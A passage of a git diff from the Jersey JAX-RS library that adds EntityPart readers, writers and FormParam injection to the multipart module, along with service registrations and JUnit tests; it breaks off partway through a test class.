+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.FormDataBodyPart;
+import org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider;
+import org.glassfish.jersey.media.multipart.MultiPart;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.LinkedList;
+import java.util.List;
+
+/**
+ * Reader supporting List<EntityPart> Make sure {@code GenericEntity} class is used when reading the
+ * {@link EntityPart}s.
+ * @since 3.1.0
+ */
+@Consumes(MediaType.MULTIPART_FORM_DATA)
+@Singleton
+public class EntityPartReader implements MessageBodyReader<List<EntityPart>> {
+
+ private MultiPartReaderClientSide multiPartReaderClientSide;
+
+ private final Providers providers;
+
+ @Inject
+ public EntityPartReader(@Context Providers providers) {
+ this.providers = providers;
+ }
+
+ @Override
+ public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+ return List.class.isAssignableFrom(type)
+ && ParameterizedType.class.isInstance(generic)
+ && EntityPart.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0));
+ }
+
+ @Override
+ public List<EntityPart> readFrom(Class<List<EntityPart>> type, Type genericType, Annotation[] annotations,
+ MediaType mediaType, MultivaluedMap<String, String> httpHeaders,
+ InputStream entityStream) throws IOException, WebApplicationException {
+
+ if (multiPartReaderClientSide == null) {
+ multiPartReaderClientSide = (MultiPartReaderClientSide) providers.getMessageBodyReader(
+ MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE);
+ }
+
+ final MultiPart multiPart = multiPartReaderClientSide.readFrom(
+ MultiPart.class, MultiPart.class, annotations, mediaType, httpHeaders, entityStream);
+ final List<BodyPart> bodyParts = multiPart.getBodyParts();
+ final List<EntityPart> entityParts = new LinkedList<>();
+
+ for (BodyPart bp : bodyParts) {
+ if (FormDataBodyPart.class.isInstance(bp)) {
+ entityParts.add((EntityPart) bp);
+ } else {
+ final EntityPart ep = new JerseyEntityPartBuilderProvider().withName("")
+ .mediaType(bp.getMediaType()).content(bp.getEntity()).headers(bp.getHeaders()).build();
+ entityParts.add(ep);
+ }
+ }
+
+ return entityParts;
+ }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java
new file mode 100644
index 0000000..3b9a301
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/EntityPartWriter.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.inject.Inject;
+import jakarta.inject.Singleton;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.MultiPart;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.util.List;
+
+/**
+ * Writer supporting List<EntityPart> Make sure {@code GenericEntity} class is used when sending the
+ * {@link EntityPart}s.
+ * @since 3.1.0
+ */
+@Produces(MediaType.MULTIPART_FORM_DATA)
+@Singleton
+public class EntityPartWriter implements MessageBodyWriter<List<EntityPart>> {
+
+ private MultiPartWriter multiPartWriter;
+
+ private final Providers providers;
+
+ @Inject
+ public EntityPartWriter(@Context Providers providers) {
+ this.providers = providers;
+ }
+
+ @Override
+ public boolean isWriteable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+ return List.class.isAssignableFrom(type)
+ && ParameterizedType.class.isInstance(generic)
+ && EntityPart.class.isAssignableFrom(ReflectionHelper.getGenericTypeArgumentClasses(generic).get(0));
+ }
+
+ @Override
+ public void writeTo(List<EntityPart> entityParts, Class<?> type, Type genericType, Annotation[] annotations,
+ MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+ throws IOException, WebApplicationException {
+ final MultiPart multiPart = new MultiPart();
+ multiPart.setMediaType(mediaType);
+ for (EntityPart ep : entityParts) {
+ multiPart.bodyPart((BodyPart) ep);
+ }
+
+ if (multiPartWriter == null) {
+ multiPartWriter = (MultiPartWriter) providers.getMessageBodyWriter(
+ MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE);
+ }
+
+ multiPartWriter.writeTo(multiPart, MultiPart.class, MultiPart.class,
+ annotations, multiPart.getMediaType(), httpHeaders, entityStream);
+ }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
index d95b320..6c834d9 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -31,6 +31,8 @@
import java.util.stream.Collectors;
import jakarta.ws.rs.BadRequestException;
+import jakarta.ws.rs.FormParam;
+import jakarta.ws.rs.core.EntityPart;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.MultivaluedMap;
import jakarta.ws.rs.ext.MessageBodyReader;
@@ -59,7 +61,7 @@
/**
* Value supplier provider supporting the {@link FormDataParam} injection annotation and entity ({@link FormDataMultiPart})
- * injection.
+ * injection. Also supports {@link FormParam} {@code EntityPart} annotation injection.
*
* @author Craig McClanahan
* @author Paul Sandoz
@@ -311,6 +313,43 @@
}
}
+ /**
+ * Provider supplier for list of {@link EntityPart} types injected via
+ * {@link jakarta.ws.rs.FormParam} annotation.
+ */
+ private final class ListEntityPartValueProvider extends ValueProvider<List<EntityPart>> {
+
+ private final String name;
+
+ public ListEntityPartValueProvider(final String name) {
+ this.name = name;
+ }
+
+ @Override
+ public List<EntityPart> apply(ContainerRequest request) {
+ return (List<EntityPart>) (List<?>) getEntity(request).getFields(name);
+ }
+ }
+
+ /**
+ * Provider supplier for list of {@link EntityPart} types injected via
+ * {@link jakarta.ws.rs.FormParam} annotation.
+ */
+ private final class EntityPartValueProvider extends ValueProvider<EntityPart> {
+
+ private final String name;
+
+ public EntityPartValueProvider(final String name) {
+ this.name = name;
+ }
+
+ @Override
+ public EntityPart apply(ContainerRequest request) {
+ List<FormDataBodyPart> bodyParts = getEntity(request).getFields(name);
+ return bodyParts.size() != 0 ? bodyParts.get(0) : null;
+ }
+ }
+
private static final Set<Class<?>> TYPES = initializeTypes();
private static Set<Class<?>> initializeTypes() {
@@ -344,7 +383,7 @@
* @param extractorProvider multi-valued map parameter extractor provider.
*/
public FormDataParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> extractorProvider) {
- super(extractorProvider, Parameter.Source.ENTITY, Parameter.Source.UNKNOWN);
+ super(extractorProvider, Parameter.Source.ENTITY, Parameter.Source.FORM, Parameter.Source.UNKNOWN);
}
@Override
@@ -386,6 +425,16 @@
} else {
return new FormDataParamValueProvider(parameter, get(parameter));
}
+ } else if (FormParam.class.equals(parameter.getSourceAnnotation().annotationType())) {
+ final String paramName = parameter.getSourceName();
+ if (Collection.class == rawType || List.class == rawType) {
+ final Class clazz = ReflectionHelper.getGenericTypeArgumentClasses(parameter.getType()).get(0);
+ if (EntityPart.class.equals(clazz)) {
+ return new ListEntityPartValueProvider(paramName);
+ }
+ } else if (EntityPart.class.equals(rawType)) {
+ return new EntityPartValueProvider(paramName);
+ }
}
return null;
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java
index 7873872..db5fbc7 100644
--- a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/MultiPartWriter.java
@@ -31,6 +31,7 @@
import jakarta.ws.rs.Produces;
import jakarta.ws.rs.WebApplicationException;
import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.GenericEntity;
import jakarta.ws.rs.core.HttpHeaders;
import jakarta.ws.rs.core.MediaType;
import jakarta.ws.rs.core.MultivaluedMap;
@@ -197,14 +198,21 @@
bodyEntity = ((BodyPartEntity) bodyEntity).getInputStream();
}
+ Type bodyType = bodyClass;
+ if (GenericEntity.class.isInstance(bodyEntity)) {
+ bodyClass = ((GenericEntity<?>) bodyEntity).getRawType();
+ bodyType = ((GenericEntity) bodyEntity).getType();
+ bodyEntity = ((GenericEntity<?>) bodyEntity).getEntity();
+ }
+
final MessageBodyWriter bodyWriter = providers.getMessageBodyWriter(
bodyClass,
- bodyClass,
+ bodyType,
EMPTY_ANNOTATIONS,
bodyMediaType);
if (bodyWriter == null) {
- throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBW(bodyClass, mediaType));
+ throw new IllegalArgumentException(LocalizationMessages.NO_AVAILABLE_MBW(bodyClass, bodyMediaType));
}
bodyWriter.writeTo(
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java
new file mode 100644
index 0000000..9b7589e
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartReader.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.inject.Inject;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.FormDataBodyPart;
+import org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider;
+import org.glassfish.jersey.media.multipart.MultiPart;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.util.LinkedList;
+import java.util.List;
+
+public class SingleEntityPartReader implements MessageBodyReader<EntityPart> {
+
+ private MultiPartReaderClientSide multiPartReaderClientSide;
+
+ private final Providers providers;
+
+ @Inject
+ public SingleEntityPartReader(@Context Providers providers) {
+ this.providers = providers;
+ }
+
+ @Override
+ public boolean isReadable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+ return EntityPart.class.isAssignableFrom(type);
+ }
+
+ @Override
+ public EntityPart readFrom(Class<EntityPart> type, Type genericType, Annotation[] annotations,
+ MediaType mediaType, MultivaluedMap<String, String> httpHeaders,
+ InputStream entityStream) throws IOException, WebApplicationException {
+
+ if (multiPartReaderClientSide == null) {
+ multiPartReaderClientSide = (MultiPartReaderClientSide) providers.getMessageBodyReader(
+ MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE);
+ }
+
+ final MultiPart multiPart = multiPartReaderClientSide.readFrom(
+ MultiPart.class, MultiPart.class, annotations, mediaType, httpHeaders, entityStream);
+ final List<BodyPart> bodyParts = multiPart.getBodyParts();
+ final List<EntityPart> entityParts = new LinkedList<>();
+
+ for (BodyPart bp : bodyParts) {
+ if (FormDataBodyPart.class.isInstance(bp)) {
+ entityParts.add((EntityPart) bp);
+ } else {
+ final EntityPart ep = new JerseyEntityPartBuilderProvider().withName("")
+ .mediaType(bp.getMediaType()).content(bp.getEntity()).headers(bp.getHeaders()).build();
+ entityParts.add(ep);
+ }
+ // consume all bodyParts
+ }
+
+ return entityParts.get(0);
+ }
+}
diff --git a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java
new file mode 100644
index 0000000..9150dc6
--- /dev/null
+++ b/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/SingleEntityPartWriter.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.inject.Inject;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.Providers;
+import org.glassfish.jersey.media.multipart.BodyPart;
+import org.glassfish.jersey.media.multipart.MultiPart;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+
+public class SingleEntityPartWriter implements MessageBodyWriter<EntityPart> {
+
+ private MultiPartWriter multiPartWriter;
+
+ private final Providers providers;
+
+ @Inject
+ public SingleEntityPartWriter(@Context Providers providers) {
+ this.providers = providers;
+ }
+
+ @Override
+ public boolean isWriteable(Class<?> type, Type generic, Annotation[] annotations, MediaType mediaType) {
+ return EntityPart.class.isAssignableFrom(type);
+ }
+
+ @Override
+ public void writeTo(EntityPart entityParts, Class<?> type, Type genericType, Annotation[] annotations,
+ MediaType mediaType, MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+ throws IOException, WebApplicationException {
+ final MultiPart multiPart = new MultiPart();
+ multiPart.setMediaType(mediaType);
+ multiPart.bodyPart((BodyPart) entityParts);
+
+ if (multiPartWriter == null) {
+ multiPartWriter = (MultiPartWriter) providers.getMessageBodyWriter(
+ MultiPart.class, MultiPart.class, new Annotation[0], MediaType.MULTIPART_FORM_DATA_TYPE);
+ }
+
+ multiPartWriter.writeTo(multiPart, MultiPart.class, MultiPart.class,
+ annotations, multiPart.getMediaType(), httpHeaders, entityStream);
+ }
+}
diff --git a/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider
new file mode 100644
index 0000000..32738ac
--- /dev/null
+++ b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.innate.spi.EntityPartBuilderProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.media.multipart.JerseyEntityPartBuilderProvider
\ No newline at end of file
diff --git a/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable
new file mode 100644
index 0000000..04a6776
--- /dev/null
+++ b/media/multipart/src/main/resources/META-INF/services/org.glassfish.jersey.internal.spi.AutoDiscoverable
@@ -0,0 +1 @@
+org.glassfish.jersey.media.multipart.MultiPartFeatureAutodiscoverable
\ No newline at end of file
diff --git a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
index 8a7b4ba..13e7136 100644
--- a/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
+++ b/media/multipart/src/main/resources/org/glassfish/jersey/media/multipart/internal/localization.properties
@@ -15,6 +15,8 @@
#
cannot.inject.file=Cannot provide file for an entity body part.
+content.has.been.already.read=Content method has already been invoked.
+entity.content.not.set=EntityPart content is not set.
entity.has.wrong.type=Entity instance does not contain the unconverted content.
error.charset.unsupported={0} charset is not supported.
error.filename.unsupported=Unsupported filename parameter {0}.
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java
new file mode 100644
index 0000000..cd3d884
--- /dev/null
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/MediaTypeTest.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart;
+
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.MediaType;
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.IOException;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class MediaTypeTest {
+ @Test
+ public void testInputStreamDataMediaType() throws IOException {
+ ByteArrayInputStream bais = new ByteArrayInputStream("test".getBytes());
+ EntityPart entityPart = EntityPart.withName("textFile").fileName("test.txt")
+ .content(bais)
+ .mediaType(MediaType.TEXT_PLAIN_TYPE)
+ .build();
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType());
+ }
+
+ @Test
+ public void testFileDataMediaType() throws IOException {
+ EntityPart entityPart = EntityPart.withName("textFile")
+ .content(new File("anyname"), File.class)
+ .mediaType(MediaType.TEXT_PLAIN_TYPE)
+ .build();
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType());
+ }
+
+ @Test
+ public void testGenericDataMediaType() throws IOException {
+ EntityPart entityPart = EntityPart.withName("textFile")
+ .content("Hello", String.class)
+ .mediaType(MediaType.TEXT_PLAIN_TYPE)
+ .build();
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType());
+ }
+
+ @Test
+ public void testInputStreamDataNullMediaType() throws IOException {
+ ByteArrayInputStream bais = new ByteArrayInputStream("test".getBytes());
+ EntityPart entityPart = EntityPart.withName("textFile").fileName("test.txt")
+ .content(bais)
+ .build();
+ assertEquals(MediaType.APPLICATION_OCTET_STREAM_TYPE, entityPart.getMediaType());
+ }
+
+ @Test
+ public void testGenericDataNullMediaType() throws IOException {
+ EntityPart entityPart = EntityPart.withName("textFile")
+ .content("Hello", String.class)
+ .build();
+ assertEquals(MediaType.TEXT_PLAIN_TYPE, entityPart.getMediaType());
+ }
+}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java
index c35f468..70dc2df 100644
--- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/file/FileDataBodyPartTest.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -86,6 +86,12 @@
fdbp.setFileEntity(file, expectedType);
checkEntityAttributes(name, fdbp, file, expectedType);
+ file = new File("pom.json");
+ name = "json";
+ fdbp = new FileDataBodyPart(name, file);
+ expectedType = DefaultMediaTypePredictor.CommonMediaTypes.JSON.getMediaType();
+ checkEntityAttributes(name, fdbp, file, expectedType);
+
file = new File("pom.png");
name = "png";
fdbp = new FileDataBodyPart("png", file);
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java
new file mode 100644
index 0000000..effb565
--- /dev/null
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartBeansTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.FormParam;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.MediaType;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.util.List;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityPartBeansTest extends JerseyTest {
+
+ @Path("/form-field-injected")
+ public static class MultiPartFieldInjectedResource {
+ @FormParam("string")
+ EntityPart stringEntityPart;
+
+ @POST
+ @Path("xml-jaxb-part")
+ @Consumes(MediaType.MULTIPART_FORM_DATA)
+ public String post() throws IOException {
+ return stringEntityPart.getContent(String.class) + ":" + stringEntityPart.getFileName().get();
+ }
+ }
+
+ @Override
+ protected Application configure() {
+ return new ResourceConfig(MultiPartFieldInjectedResource.class);
+ }
+
+ @Test
+ public void testInjectedEntityPartBeans() throws IOException {
+ final WebTarget target = target().path("/form-field-injected/xml-jaxb-part");
+
+ final EntityPart entityPart = EntityPart.withName("string").fileName("string")
+ .content("STRING", String.class)
+ .build();
+
+ final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {};
+
+ final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class);
+ assertEquals("STRING:string", s);
+ }
+}
diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java
new file mode 100644
index 0000000..e6bd4e6
--- /dev/null
+++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/EntityPartTest.java
@@ -0,0 +1,388 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.media.multipart.internal;
+
+import jakarta.ws.rs.Consumes;
+import jakarta.ws.rs.FormParam;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
+import jakarta.ws.rs.core.GenericEntity;
+import jakarta.ws.rs.core.GenericType;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.internal.util.ReflectionHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.ParameterizedType;
+import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicReference;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class EntityPartTest extends JerseyTest {
+
+ private static final GenericType<List<EntityPart>> LIST_ENTITY_PART_TYPE = new GenericType<List<EntityPart>>(){};
+ private static final GenericType<AtomicReference<String>> ATOMIC_REFERENCE_GENERIC_TYPE = new GenericType<>(){};
+
+ @Path("/")
+ public static class EntityPartTestResource {
+ @GET
+ public Response getResponse() throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName("part-01").content("TEST1").build());
+ list.add(EntityPart.withName("part-02").content("TEST2").build());
+ GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(list) {};
+ return Response.ok(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE).build();
+ }
+
+ @POST
+ @Path("/postList")
+ public String postEntityPartList(List<EntityPart> list) throws IOException {
+ String entity = list.get(0).getContent(String.class) + list.get(1).getContent(String.class);
+ return entity;
+ }
+
+ @POST
+ @Path("/postForm")
+ public String postEntityPartForm(@FormParam("part-01") EntityPart part1, @FormParam("part-02") EntityPart part2)
+ throws IOException {
+ String entity = part1.getContent(String.class) + part2.getContent(String.class);
+ return entity;
+ }
+
+ @POST
+ @Path("/postListForm")
+ public String postEntityPartForm(@FormParam("part-0x") List<EntityPart> part)
+ throws IOException {
+ String entity = part.get(0).getContent(String.class) + part.get(1).getContent(String.class);
+ return entity;
+ }
+
+ @POST
+ @Path("/postStreams")
+ public Response postEntityStreams(@FormParam("name1") EntityPart part1,
+ @FormParam("name2") EntityPart part2,
+ @FormParam("name3") EntityPart part3) throws IOException {
+ List<EntityPart> list = new LinkedList<>();
+ list.add(EntityPart.withName(part1.getName()).fileName(part1.getFileName().get()).content(
